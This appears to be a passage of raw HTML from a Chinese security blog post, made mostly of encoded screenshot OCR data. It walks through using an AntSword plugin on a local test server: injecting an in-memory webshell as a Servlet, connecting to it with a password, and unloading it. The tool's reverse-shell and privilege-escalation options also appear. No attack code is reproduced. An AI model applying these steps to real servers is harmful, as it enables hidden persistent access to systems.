%2C%7B%22x%22%3A161.14159%2C%22y%22%3A110.14626%2C%22width%22%3A66.00496999999999%2C%22height%22%3A15.621350000000007%2C%22text%22%3A%22%E5%8F%8D%E5%BC%B9Shell%22%7D%2C%7B%22x%22%3A31.540201%2C%22y%22%3A152.86388%2C%22width%22%3A47.10478900000001%2C%22height%22%3A15.111639999999994%2C%22text%22%3A%22exploit%22%7D%2C%7B%22x%22%3A42.530186%2C%22y%22%3A196.48888%2C%22width%22%3A78.260954%2C%22height%22%3A17.314570000000003%2C%22text%22%3A%22%E8%8E%B7%E5%8F%96Servlet%22%7D%2C%7B%22x%22%3A41.187664%2C%22y%22%3A233.99388%2C%22width%22%3A80.345616%2C%22height%22%3A17.26170000000002%2C%22text%22%3A%22%E5%8D%B8%E8%BD%BDServlet%22%7D%2C%7B%22x%22%3A35.444714%2C%22y%22%3A271.607%2C%22width%22%3A62.648446%2C%22height%22%3A17.246819999999957%2C%22text%22%3A%22%E7%BB%84%E4%BB%B6%E5%90%8D%E7%A7%B0%22%7D%2C%7B%22x%22%3A34.822376%2C%22y%22%3A311.07578%2C%22width%22%3A59.888754%2C%22height%22%3A16.178549999999973%2C%22text%22%3A%22URL%E8%B7%AF%E5%BE%84%22%7D%2C%7B%22x%22%3A17.694294%2C%22y%22%3A511.95187%2C%22width%22%3A62.493455999999995%2C%22height%22%3A17.273130000000037%2C%22text%22%3A%22%E8%BE%93%E5%87%BA%E7%BB%93%E6%9E%9C%22%7D%2C%7B%22x%22%3A35.96487%2C%22y%22%3A542.24774%2C%22width%22%3A56.14148000000001%2C%22height%22%3A19.673099999999977%2C%22text%22%3A%221%2F%22%7D%2C%7B%22x%22%3A115.127014%2C%22y%22%3A543.09534%2C%22width%22%3A677.900686%2C%22height%22%3A17.967100000000073%2C%22text%22%3A%22dispatcherservletog.springframeworkele.ispatchele%22%7D%2C%7B%22x%22%3A35.39464%2C%22y%22%3A562.65137%2C%22width%22%3A14.369049999999994%2C%22height%22%3A14.369049999999994%2C%22text%22%3A%222%22%7D%2C%7B%22x%22%3A971.6506%2C%22y%22%3A772.1005%2C%22width%22%3A47.593599999999924%2C%22height%22%3A20.48829999999998%2C%22text%22%3A%22%E6%88%90%E5%8A%9F%22%7D%2C%7B%22x%22%3A972.5878%2C%22y%22%3A793.87115%2C%22width%22%3A82.05520000000001%2C%22height%22%3A20.75660000000005%2C%22text%22%3A%22%E6%89%A7%E8%A1%8C%E6%88%90%E5%8A%9F%22%7D%5D%2C%22style%22%3A%22none%22%2C%22search%22%3A%22%E4%B8%AD%E5%9B%BD%E8%9A%81%E5%89%91%20%E7%AA%97%E5%8F%A3%E8%B0%83%E8%AF%95%20AntSword%E7%BC%96%E8%BE%91%20As-Exploits127.0.0.1jspBy%3AyzddMr6%20%E6%8F%90%E6%9D%83%E8%BE%85%E5%8A%A9%20%E6%9D%80%E8%BD%AF%E8%AF%86%E5%88%AB%20%E5%9F%BA%E6%9C%AC%E4%BF%A1%E6%81%AF%20%E5%85%B3%E4%BA%8E%20%E5%86%85%E5%AD%98%E9%A9%AC%20%E5%86%85%E5%AD%98%E9%A9%AC%E7%AE%A1%E7%90%86%20%E5%B1%8F%E5%B9%95%E6%88%AA%E5%9B%BE%20%E5%8F%8D%E5%BC%B9Shell%20exploit%20%E8%8E%B7%E5%8F%96Servlet%20%E5%8D%B8%E8%BD%BDServlet%20%E7%BB%84%E4%BB%B6%E5%90%8D%E7%A7%B0%20URL%E8%B7%AF%E5%BE%84%20%E8%BE%93%E5%87%BA%E7%BB%93%E6%9E%9C%201%2F%20dispatcherservletog.springframeworkele.ispatchele%202%20%E6%88%90%E5%8A%9F%20%E6%89%A7%E8%A1%8C%E6%88%90%E5%8A%9F%22%2C%22margin%22%3A%7B%22top%22%3Atrue%2C%22bottom%22%3Atrue%7D%2C%22width%22%3A651%2C%22height%22%3A430%7D"><img data-height="430px" data-ratio="0.6597542242703534" title="image.png" data-type="png" data-w="1302" style="visibility: visible;width: 651px;" src="https://wechat2rss.xlab.app/img-proxy/?k=ecdc18ca&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FlkcJVly3Wy2iawqL1S4qTmEFElpSDibibG9TPgWygiaMspEobLG4KlqfpBG99uNxeXtsm7YGN8gADkz0yaTLiaDeicWg%2F640%3Fwx_fmt%3Dpng"/></span></p><p data-lake-id="7591e8dc2a38021a4f77f32332742650" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;"><br/></p><p data-lake-id="7591e8dc2a38021a4f77f32332742650" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;">打入蚁剑内存马</p><p data-lake-id="7591e8dc2a38021a4f77f32332742650" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;"><br/></p><p data-lake-id="34c55b3edfb64277392d2987937c9ecc" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;"><span data-card-type="inline" data-lake-card="image" data-card-value="data:%7B%22src%22%3A%22https%3A%2F%2Fcdn.nlark.com%2Fyuque%2F0%2F2021%2Fpng%2F1599908%2F1616391697077-dbac2859-32ef-42c1-b786-f893f2f17dc5.png%22%2C%22originWidth%22%3A1302%2C%22originHeight%22%3A859%2C%22name%22%3A%22image.png%22%2C%22size%22%3A70810%2C%22display%22%3A%22inline%22%2C%22align%22%3A%22left%22%2C%22linkTarget%22%3A%22_blank%22%2C%22status%22%3A%22done%22%2C%22ocrLocations%22%3A%5B%7B%22x%22%3A33.458927%2C%22y%22%3A11.092698%2C%22width%22%3A63.80189899999999%2C%22height%22%3A16.303098%2C%22text%22%3A%22%E4%B8%AD%E5%9B%BD%E8%9A%81%E5%89%91%22%7D%2C%7B%22x%22%3A140.06737%2C%22y%22%3A42.19282%2C%22width%22%3A75.87349999999998%2C%22height%22%3A17.195413000000002%2C%22text%22%3A%22%E7%AA%97%E5%8F%A3%E8%B0%83%E8%AF%95%22%7D%2C%7B%22x%22%3A5.6216736%2C%22y%22%3A43.51853%2C%22width%22%3A122.78918640000002%2C%22height%22%3A16.26735%2C%22text%22%3A%22AntSword%E7%BC%96%E8%BE%91%22%7D%2C%7B%22x%22%3A31.245022%2C%22y%22%3A74.38648%2C%22width%22%3A297.226898%2C%22height%22%3A19.00457999999999%2C%22text%22%3A%22As-Exploits127.0.0.1jpBydM%22%7D%2C%7B%22x%22%3A588.6128%2C%22y%22%3A108.70476%2C%22width%22%3A63.050700000000006%2C%22height%22%3A18.404860000000014%2C%22text%22%3A%22%E6%8F%90%E6%9D%83%E8%BE%85%E5%8A%A9%22%7D%2C%7B%22x%22%3A362.7105%2C%22y%22%3A108.64264%2C%22width%22%3A76.75903999999997%2C%22height%22%3A18.422004%2C%22text%22%3A%22%E5%86%85%E5%AD%98%E9%A9%AC%E7%AE%A1%E7%90%86%22%7D%2C%7B%22x%22%3A52.007847%2C%22y%22%3A109.20228%2C%22width%22%3A60.308048%2C%22height%22%3A16.694609999999997%2C%22text%22%3A%22%E5%9F%BA%E6%9C%AC%E4%BF%A1%E6%81%AF%22%7D%2C%7B%22x%22%3A483.73505%2C%22y%22%3A108.931404%2C%22width%22%3A61.84789999999998%2C%22height%22%3A17.623626%2C%22text%22%3A%22%E6%9D%80%E8%BD%AF%E8%AF%86%E5%88%AB%22%7D%2C%7B%22x%22%3A802.4228%2C%22y%22%3A109.24439%2C%22width%22%3A32.206999999999994%2C%22height%22%3A17.867680000000007%2C%22text%22%3A%22%E5%85%B3%E4%BA%8E%22%7D%2C%7B%22x%22%3A269.47098%2C%22y%22%3A109.8191%2C%22width%22%3A51.23732000000001%2C%22height%22%3A19.363410000000002%2C%22text%22%3A%22%E5%86%85%E5%AD%98%E9%A9%AC%22%7D%2C%7B%22x%22%3A696.9869%2C%22y%22%3A109.84124%2C%22width%22%3A60.05624999999998%2C%22height%22%3A16.573580000000007%2C%22text%22%3A%22%E5%B1%8F%E5%B9%95%E6%88%AA%E5%9B%BE%22%7D%2C%7B%22x%22%3A160.99617%2C%22y%22%3A110.00649%2C%22width%22%3A67.26391999999998%2C%22height%22%3A16.160135999999994%2C%22text%22%3A%22%E5%8F%8D%E5%BC%B9Shell%22%7D%2C%7B%22x%22%3A31.617716%2C%22y%22%3A152.61795%2C%22width%22%3A47.559343999999996%2C%22height%22%3A15.35736%2C%22text%22%3A%22exploit%22%7D%2C%7B%22x%22%3A40.873894%2C%22y%22%3A198.53514%2C%22width%22%3A48.055991999999996%2C%22height%22%3A15.31962999999999%2C%22text%22%3A%22servlet%22%7D%2C%7B%22x%22%3A34.685688%2C%22y%22%3A232.90057%2C%22width%22%3A77.50295200000001%2C%22height%22%3A18.59035%2C%22text%22%3A%22%E5%86%85%E5%AD%98%E9%A9%AC%E7%B1%BB%E5%9E%8B%22%7D%2C%7B%22x%22%3A234.16335%2C%22y%22%3A237.11041%2C%22width%22%3A66.75186999999997%2C%22height%22%3A15.149450000000002%2C%22text%22%3A%22AntSword%22%7D%2C%7B%22x%22%3A35.16351%2C%22y%22%3A271.54388%2C%22width%22%3A62.296245%2C%22height%22%3A16.252779999999973%2C%22text%22%3A%22%E7%BB%84%E4%BB%B6%E5%90%8D%E7%A7%B0%22%7D%2C%7B%22x%22%3A233.46562%2C%22y%22%3A273.6235%2C%22width%22%3A59.100509999999986%2C%22height%22%3A16.066900000000032%2C%22text%22%3A%22yzddmr6%22%7D%2C%7B%22x%22%3A36.026684%2C%22y%22%3A310.24222%2C%22width%22%3A58.251941%2C%22height%22%3A15.7774%2C%22text%22%3A%22URL%E8%B7%AF%E5%BE%84%22%7D%2C%7B%22x%22%3A234.45412%2C%22y%22%3A312.54297%2C%22width%22%3A52.577380000000005%2C%22height%22%3A14.13997999999998%2C%22text%22%3A%22%2Faaaant%22%7D%2C%7B%22x%22%3A36.77888%2C%22y%22%3A347.84866%2C%22width%22%3A31.33318%2C%22height%22%3A15.98284000000001%2C%22text%22%3A%22%E5%AF%86%E7%A0%81%22%7D%2C%7B%22x%22%3A234.54645%2C%22y%22%3A350.04587%2C%22width%22%3A27.51155%2C%22height%22%3A15.352959999999996%2C%22text%22%3A%22mr6%22%7D%2C%7B%22x%22%3A34.356384%2C%22y%22%3A384.9613%2C%22width%22%3A34.705716%2C%22height%22%3A16.91410000000002%2C%22text%22%3A%22%E5%AF%86%E9%92%A5%22%7D%2C%7B%22x%22%3A17.743559%2C%22y%22%3A511.8921%2C%22width%22%3A63.680071%2C%22height%22%3A17.57039999999995%2C%22text%22%3A%22%E8%BE%93%E5%87%BA%E7%BB%93%E6%9E%9C%22%7D%2C%7B%22x%22%3A36.172634%2C%22y%22%3A543.2046%2C%22width%22%3A43.647296%2C%22height%22%3A16.9769%2C%22text%22%3A%2211%22%7D%2C%7B%22x%22%3A971.6506%2C%22y%22%3A772.1005%2C%22width%22%3A47.593599999999924%2C%22height%22%3A20.48829999999998%2C%22text%22%3A%22%E6%88%90%E5%8A%9F%22%7D%2C%7B%22x%22%3A972.58795%2C%22y%22%3A793.87115%2C%22width%22%3A82.05505000000005%2C%22height%22%3A20.756720000000087%2C%22text%22%3A%22%E6%89%A7%E8%A1%8C%E6%88%90%E5%8A%9F%22%7D%5D%2C%22style%22%3A%22none%22%2C%22search%22%3A%22%E4%B8%AD%E5%9B%BD%E8%9A%81%E5%89%91%20%E7%AA%97%E5%8F%A3%E8%B0%83%E8%AF%95%20AntSword%E7%BC%96%E8%BE%91%20As-Exploits127.0.0.1jpBydM%20%E6%8F%90%E6%9D%83%E8%BE%85%E5%8A%A9%20%E5%86%85%E5%AD%98%E9%A9%AC%E7%AE%A1%E7%90%86%20%E5%9F%BA%E6%9C%AC%E4%BF%A1%E6%81%AF%20%E6%9D%80%E8%BD%AF%E8%AF%86%E5%88%AB%20%E5%85%B3%E4%BA%8E%20%E5%86%85%E5%AD%98%E9%A9%AC%20%E5%B1%8F%E5%B9%95%E6%88%AA%E5%9B%BE%20%E5%8F%8D%E5%BC%B9Shell%20exploit%20servlet%20%E5%86%85%E5%AD%98%E9%A9%AC%E7%B1%BB%E5%9E%8B%20AntSword%20%E7%BB%84%E4%BB%B6%E5%90%8D%E7%A7%B0%20yzddmr6%20URL%E8%B7%AF%E5%BE%84%20%2Faaaant%20%E5%AF%86%E7%A0%81%20mr6%20%E5%AF%86%E9%92%A5%20%E8%BE%93%E5%87%BA%E7%BB%93%E6%9E%9C%2011%20%E6%88%90%E5%8A%9F%20%E6%89%A7%E8%A1%8C%E6%88%90%E5%8A%9F%22%2C%22margin%22%3A%7B%22top%22%3Atrue%2C%22bottom%22%3Atrue%7D%2C%22width%22%3A651%2C%22height%22%3A430%7D"><img data-height="430px" data-ratio="0.6597542242703534" title="image.png" data-type="png" data-w="1302" style="visibility: visible;width: 651px;" src="https://wechat2rss.xlab.app/img-proxy/?k=72f78eb2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FlkcJVly3Wy2iawqL1S4qTmEFElpSDibibG9dlEc1ia0udnllJEibicQrZgANxjUcbpsH6f1jmAflIsKI1sXibnnt662Qw%2F640%3Fwx_fmt%3Dpng"/></span></p><p data-lake-id="9ec4c24248b2b3fac5761bd196db5715" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;">再次获取Servlet，发现已经有了，并且在第一位。</p><p data-lake-id="e8119f72f96461562b59c82818a4d4cb" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;"><span data-card-type="inline" data-lake-card="image" data-card-value="data:%7B%22src%22%3A%22https%3A%2F%2Fcdn.nlark.com%2Fyuque%2F0%2F2021%2Fpng%2F1599908%2F1616391715445-48390742-00db-492a-8e89-22d383b12dc6.png%22%2C%22originWidth%22%3A1302%2C%22originHeight%22%3A859%2C%22name%22%3A%22image.png%22%2C%22size%22%3A74100%2C%22display%22%3A%22inline%22%2C%22align%22%3A%22left%22%2C%22linkTarget%22%3A%22_blank%22%2C%22status%22%3A%22done%22%2C%22ocrLocations%22%3A%5B%7B%22x%22%3A33.435276%2C%22y%22%3A11.205604%2C%22width%22%3A63.799414%2C%22height%22%3A16.247315%2C%22text%22%3A%22%E4%B8%AD%E5%9B%BD%E8%9A%81%E5%89%91%22%7D%2C%7B%22x%22%3A139.53235%2C%22y%22%3A42.212204%2C%22width%22%3A76.37733%2C%22height%22%3A17.157456000000003%2C%22text%22%3A%22%E9%BB%84%E5%8F%A3%E8%B0%83%E8%AF%95%22%7D%2C%7B%22x%22%3A5.6186666%2C%22y%22%3A43.33313%2C%22width%22%3A123.5847434%2C%22height%22%3A16.786705000000005%2C%22text%22%3A%22AntSword%E7%BC%96%E8%BE%91%22%7D%2C%7B%22x%22%3A31.00887%2C%22y%22%3A73.925964%2C%22width%22%3A297.74385%2C%22height%22%3A19.49493600000001%2C%22text%22%3A%22As-Exploits127.0.0.1jpBy%3AzdDMr%22%7D%2C%7B%22x%22%3A588.59705%2C%22y%22%3A108.86607%2C%22width%22%3A62.98309000000006%2C%22height%22%3A18.447315000000003%2C%22text%22%3A%22%E6%8F%90%E6%9D%83%E8%BE%85%E5%8A%A9%22%7D%2C%7B%22x%22%3A52.282665%2C%22y%22%3A109.25094%2C%22width%22%3A60.022315%2C%22height%22%3A16.749629999999996%2C%22text%22%3A%22%E5%9F%BA%E6%9C%AC%E4%BF%A1%E6%81%AF%22%7D%2C%7B%22x%22%3A483.70087%2C%22y%22%3A108.924194%2C%22width%22%3A61.92363%2C%22height%22%3A17.750726%2C%22text%22%3A%22%E6%9D%80%E8%BD%AF%E8%AF%86%E5%88%AB%22%7D%2C%7B%22x%22%3A802.4228%2C%22y%22%3A109.24439%2C%22width%22%3A32.206999999999994%2C%22height%22%3A17.867680000000007%2C%22text%22%3A%22%E5%85%B3%E4%BA%8E%22%7D%2C%7B%22x%22%3A268.14807%2C%22y%22%3A109.243744%2C%22width%22%3A51.852359999999976%2C%22height%22%3A19.93908599999999%2C%22text%22%3A%22%E5%86%85%E5%AD%98%E9%A9%AC%22%7D%2C%7B%22x%22%3A362.92007%2C%22y%22%3A109.644936%2C%22width%22%3A77.27992999999998%2C%22height%22%3A17.353294000000005%2C%22text%22%3A%22%E5%86%85%E5%AD%98%E9%A9%AC%E7%AE%A1%E7%90%86%22%7D%2C%7B%22x%22%3A696.91364%2C%22y%22%3A109.92078%2C%22width%22%3A60.12950999999998%2C%22height%22%3A16.57932000000001%2C%22text%22%3A%22%E5%B1%8F%E5%B9%95%E6%88%AA%E5%9B%BE%22%7D%2C%7B%22x%22%3A161.1701%2C%22y%22%3A110.164734%2C%22width%22%3A65.96302%2C%22height%22%3A15.607201000000003%2C%22text%22%3A%22%E5%8F%8D%E5%BC%B9Shell%22%7D%2C%7B%22x%22%3A31.527147%2C%22y%22%3A152.8623%2C%22width%22%3A47.060796999999994%2C%22height%22%3A15.123739999999998%2C%22text%22%3A%22exploit%22%7D%2C%7B%22x%22%3A42.499302%2C%22y%22%3A196.47633%2C%22width%22%3A78.303883%2C%22height%22%3A17.32718%2C%22text%22%3A%22%E8%8E%B7%E5%8F%96Servlet%22%7D%2C%7B%22x%22%3A41.17722%2C%22y%22%3A234.00015%2C%22width%22%3A80.37861000000001%2C%22height%22%3A17.296160000000015%2C%22text%22%3A%22%E5%8D%B8%E8%BD%BDServlet%22%7D%2C%7B%22x%22%3A35.451405%2C%22y%22%3A271.6067%2C%22width%22%3A62.585744999999996%2C%22height%22%3A17.196579999999983%2C%22text%22%3A%22%E7%BB%84%E4%BB%B6%E5%90%8D%E7%A7%B0%22%7D%2C%7B%22x%22%3A34.821495%2C%22y%22%3A311.07498%2C%22width%22%3A59.892155%2C%22height%22%3A16.182740000000024%2C%22text%22%3A%22URL%E8%B7%AF%E5%BE%84%22%7D%2C%7B%22x%22%3A17.906826%2C%22y%22%3A512.00244%2C%22width%22%3A61.551929%2C%22height%22%3A16.996219999999994%2C%22text%22%3A%22%E8%BE%93%E5%87%BA%E7%BB%93%E6%9E%9C%22%7D%2C%7B%22x%22%3A69.67998%2C%22y%22%3A542.2057%2C%22width%22%3A283.07408%2C%22height%22%3A18.96289999999999%2C%22text%22%3A%22%2Faaaant-%3Eyzddmr6-%3Eyzddmr6%22%7D%2C%7B%22x%22%3A35.314644%2C%22y%22%3A542.96027%2C%22width%22%3A15.027766%2C%22height%22%3A15.027766%2C%22text%22%3A%22Hrm%22%7D%2C%7B%22x%22%3A64.43111%2C%22y%22%3A562.9651%2C%22width%22%3A731.81035%2C%22height%22%3A18.391200000000026%2C%22text%22%3A%22dispatcherseryletsog.springframeworkeeeipathseet%22%7D%2C%7B%22x%22%3A971.6509%2C%22y%22%3A772.10046%2C%22width%22%3A47.59210000000007%2C%22height%22%3A20.488640000000032%2C%22text%22%3A%22%E6%88%90%E5%8A%9F%22%7D%2C%7B%22x%22%3A972.58734%2C%22y%22%3A793.87177%2C%22width%22%3A82.11436000000003%2C%22height%22%3A20.99673000000007%2C%22text%22%3A%22%E6%89%A7%E8%A1%8C%E6%88%90%E5%8A%9F%22%7D%5D%2C%22style%22%3A%22none%22%2C%22search%22%3A%22%E4%B8%AD%E5%9B%BD%E8%9A%81%E5%89%91%20%E9%BB%84%E5%8F%A3%E8%B0%83%E8%AF%95%20AntSword%E7%BC%96%E8%BE%91%20As-Exploits127.0.0.1jpBy%3AzdDMr%20%E6%8F%90%E6%9D%83%E8%BE%85%E5%8A%A9%20%E5%9F%BA%E6%9C%AC%E4%BF%A1%E6%81%AF%20%E6%9D%80%E8%BD%AF%E8%AF%86%E5%88%AB%20%E5%85%B3%E4%BA%8E%20%E5%86%85%E5%AD%98%E9%A9%AC%20%E5%86%85%E5%AD%98%E9%A9%AC%E7%AE%A1%E7%90%86%20%E5%B1%8F%E5%B9%95%E6%88%AA%E5%9B%BE%20%E5%8F%8D%E5%BC%B9Shell%20exploit%20%E8%8E%B7%E5%8F%96Servlet%20%E5%8D%B8%E8%BD%BDServlet%20%E7%BB%84%E4%BB%B6%E5%90%8D%E7%A7%B0%20URL%E8%B7%AF%E5%BE%84%20%E8%BE%93%E5%87%BA%E7%BB%93%E6%9E%9C%20%2Faaaant-%3Eyzddmr6-%3Eyzddmr6%20Hrm%20dispatcherseryletsog.springframeworkeeeipathseet%20%E6%88%90%E5%8A%9F%20%E6%89%A7%E8%A1%8C%E6%88%90%E5%8A%9F%22%2C%22margin%22%3A%7B%22top%22%3Atrue%2C%22bottom%22%3Atrue%7D%2C%22width%22%3A651%2C%22height%22%3A430%7D"><img data-height="430px" data-ratio="0.6597542242703534" title="image.png" data-type="png" data-w="1302" style="visibility: visible;width: 651px;" src="https://wechat2rss.xlab.app/img-proxy/?k=693e5958&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FlkcJVly3Wy2iawqL1S4qTmEFElpSDibibG9HNw0mT9JtP5zhl6TW6DT1qwjSxE7SX73ULIwrA5ibUMjgSHhnrjgNwg%2F640%3Fwx_fmt%3Dpng"/></span></p><p data-lake-id="6b0f2270de5a0f2131f4896f58f41b2f" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;">连接成功</p><p data-lake-id="664783f292df76c7dfdc80e357391f7d" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;"><span data-card-type="inline" data-lake-card="image" data-card-value="data:%7B%22src%22%3A%22https%3A%2F%2Fcdn.nlark.com%2Fyuque%2F0%2F2021%2Fpng%2F1599908%2F1616391788515-5dffd1ef-a9cb-4268-9978-8a59f05492f7.png%22%2C%22originWidth%22%3A983%2C%22originHeight%22%3A566%2C%22name%22%3A%22image.png%22%2C%22size%22%3A46090%2C%22display%22%3A%22inline%22%2C%22align%22%3A%22left%22%2C%22linkTarget%22%3A%22_blank%22%2C%22status%22%3A%22done%22%2C%22ocrLocations%22%3A%5B%7B%22x%22%3A37.320713%2C%22y%22%3A10.648216%2C%22width%22%3A63.06943100000001%2C%22height%22%3A16.682174000000003%2C%22text%22%3A%22%E6%B7%BB%E5%8A%A0%E6%95%B0%E6%8D%AE%22%7D%2C%7B%22x%22%3A625.92957%2C%22y%22%3A12.603164%2C%22width%22%3A45.79453000000001%2C%22height%22%3A15.071416%2C%22text%22%3A%22%E5%8F%A3x%22%7D%2C%7B%22x%22%3A40.025906%2C%22y%22%3A48.66419%2C%22width%22%3A31.154368999999996%2C%22height%22%3A15.631710000000005%2C%22text%22%3A%22%E6%B7%BB%E5%8A%A0%22%7D%2C%7B%22x%22%3A104.3696%2C%22y%22%3A49.11199%2C%22width%22%3A46.90408000000001%2C%22height%22%3A14.89911%2C%22text%22%3A%22x%E6%B8%85%E7%A9%BA%22%7D%2C%7B%22x%22%3A185.64386%2C%22y%22%3A49.232742%2C%22width%22%3A79.11934%2C%22height%22%3A15.625991999999997%2C%22text%22%3A%22%E6%B5%8B%E8%AF%95%E8%BF%9E%E6%8E%A5%22%7D%2C%7B%22x%22%3A28.910591%2C%22y%22%3A88.34453%2C%22width%22%3A64.488759%2C%22height%22%3A16.01070999999999%2C%22text%22%3A%22%E5%9F%BA%E7%A1%80%E9%85%8D%E7%BD%AE%22%7D%2C%7B%22x%22%3A32.532642%2C%22y%22%3A144.5468%2C%22width%22%3A57.455403%2C%22height%22%3A16.95141000000001%2C%22text%22%3A%22URL%E5%9C%B0%E5%9D%80%22%7D%2C%7B%22x%22%3A143.08916%2C%22y%22%3A147.57414%2C%22width%22%3A197.15474%2C%22height%22%3A15.710160000000002%2C%22text%22%3A%22http%3A%2F%2F127.0.0.1%3A9999%2Faaaant%22%7D%2C%7B%22x%22%3A32.84434%2C%22y%22%3A182.6476%2C%22width%22%3A61.75989%2C%22height%22%3A17.01486%2C%22text%22%3A%22%E8%BF%9E%E6%8E%A5%E5%AF%86%E7%A0%81%22%7D%2C%7B%22x%22%3A142.48375%2C%22y%22%3A186.6124%2C%22width%22%3A28.95138%2C%22height%22%3A13.645899999999983%2C%22text%22%3A%22mr6%22%7D%2C%7B%22x%22%3A33.87617%2C%22y%22%3A220.00041%2C%22width%22%3A60.813770000000005%2C%22height%22%3A16.690710000000024%2C%22text%22%3A%22%E7%BD%91%E7%AB%99%E5%A4%87%E6%B3%A8%22%7D%2C%7B%22x%22%3A32.056232%2C%22y%22%3A258.45178%2C%22width%22%3A62.14454799999999%2C%22height%22%3A16.991120000000024%2C%22text%22%3A%22%E7%BC%96%E7%A0%81%E8%AE%BE%E7%BD%AE%22%7D%2C%7B%22x%22%3A144.3933%2C%22y%22%3A260.88904%2C%22width%22%3A34.86944%2C%22height%22%3A14.477199999999982%2C%22text%22%3A%22UTF8%22%7D%2C%7B%22x%22%3A33.191845%2C%22y%22%3A296.92636%2C%22width%22%3A61.862545%2C%22height%22%3A16.881259999999997%2C%22text%22%3A%22%E8%BF%9E%E6%8E%A5%E7%B1%BB%E5%9E%8B%22%7D%2C%7B%22x%22%3A142.90344%2C%22y%22%3A299.02982%2C%22width%22%3A24.322940000000017%2C%22height%22%3A13.92568%2C%22text%22%3A%22JSP%22%7D%2C%7B%22x%22%3A137.64908%2C%22y%22%3A334.80478%2C%22width%22%3A47.078599999999994%2C%22height%22%3A17.444180000000017%2C%22text%22%3A%22%E7%BC%96%E7%A0%81%E5%99%A8%22%7D%2C%7B%22x%22%3A164.1593%2C%22y%22%3A371.41608%2C%22width%22%3A107.97585999999998%2C%22height%22%3A19.174769999999967%2C%22text%22%3A%22default(%E4%B8%8D%E6%8E%A8%E8%8D%90)%22%7D%2C%7B%22x%22%3A221.37407%2C%22y%22%3A409.75613%2C%22width%22%3A55.04202999999998%2C%22height%22%3A17.06763000000001%2C%22text%22%3A%22(%E4%B8%8D%E6%8E%A8%E8%8D%90)%22%7D%2C%7B%22x%22%3A163.72734%2C%22y%22%3A412.47577%2C%22width%22%3A65.3107%2C%22height%22%3A13.793610000000001%2C%22text%22%3A%22random(%22%7D%2C%7B%22x%22%3A163.42992%2C%22y%22%3A452.33017%2C%22width%22%3A23.887159999999994%2C%22height%22%3A11.174379999999985%2C%22text%22%3A%22xor%22%7D%2C%7B%22x%22%3A34.07884%2C%22y%22%3A486.18515%2C%22width%22%3A60.77684000000001%2C%22height%22%3A16.916319999999985%2C%22text%22%3A%22%E8%AF%B7%E6%B1%82%E4%BF%A1%E6%81%AF%22%7D%2C%7B%22x%22%3A660.8266%2C%22y%22%3A495.78384%2C%22width%22%3A42.75980000000004%2C%22height%22%3A21.985659999999996%2C%22text%22%3A%22%E6%88%90%E5%8A%9F%22%7D%2C%7B%22x%22%3A659.7647%2C%22y%22%3A519.6825%2C%22width%22%3A89.68617000000006%2C%22height%22%3A19.68999999999994%2C%22text%22%3A%22%E8%BF%9E%E6%8E%A5%E6%88%90%E5%8A%9F!%22%7D%2C%7B%22x%22%3A36.137398%2C%22y%22%3A523.9735%2C%22width%22%3A60.639062%2C%22height%22%3A15.847240000000056%2C%22text%22%3A%22%E5%85%B6%E4%BB%96%E8%AE%BE%E7%BD%AE%22%7D%5D%2C%22style%22%3A%22none%22%2C%22search%22%3A%22%E6%B7%BB%E5%8A%A0%E6%95%B0%E6%8D%AE%20%E5%8F%A3x%20%E6%B7%BB%E5%8A%A0%20x%E6%B8%85%E7%A9%BA%20%E6%B5%8B%E8%AF%95%E8%BF%9E%E6%8E%A5%20%E5%9F%BA%E7%A1%80%E9%85%8D%E7%BD%AE%20URL%E5%9C%B0%E5%9D%80%20http%3A%2F%2F127.0.0.1%3A9999%2Faaaant%20%E8%BF%9E%E6%8E%A5%E5%AF%86%E7%A0%81%20mr6%20%E7%BD%91%E7%AB%99%E5%A4%87%E6%B3%A8%20%E7%BC%96%E7%A0%81%E8%AE%BE%E7%BD%AE%20UTF8%20%E8%BF%9E%E6%8E%A5%E7%B1%BB%E5%9E%8B%20JSP%20%E7%BC%96%E7%A0%81%E5%99%A8%20default(%E4%B8%8D%E6%8E%A8%E8%8D%90)%20(%E4%B8%8D%E6%8E%A8%E8%8D%90)%20random(%20xor%20%E8%AF%B7%E6%B1%82%E4%BF%A1%E6%81%AF%20%E6%88%90%E5%8A%9F%20%E8%BF%9E%E6%8E%A5%E6%88%90%E5%8A%9F!%20%E5%85%B6%E4%BB%96%E8%AE%BE%E7%BD%AE%22%2C%22margin%22%3A%7B%22top%22%3Atrue%2C%22bottom%22%3Atrue%7D%2C%22width%22%3A638%2C%22height%22%3A367%7D"><img data-height="367px" data-ratio="0.5757884028484231" title="image.png" data-type="png" data-w="983" style="visibility: visible;width: 638px;" src="https://wechat2rss.xlab.app/img-proxy/?k=9b589f98&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FlkcJVly3Wy2iawqL1S4qTmEFElpSDibibG90YDJ6XChjOLoUxicWfBh17dicZFhht6udZiaic4loXj3I43c2zkaicV2nWA%2F640%3Fwx_fmt%3Dpng"/></span></p><p data-lake-id="a4dafb885c857b2aa3f36c25635133cf" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;">卸载Servlet</p><p data-lake-id="ccefe5de63872e09a0c1ec92ac9fefec" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 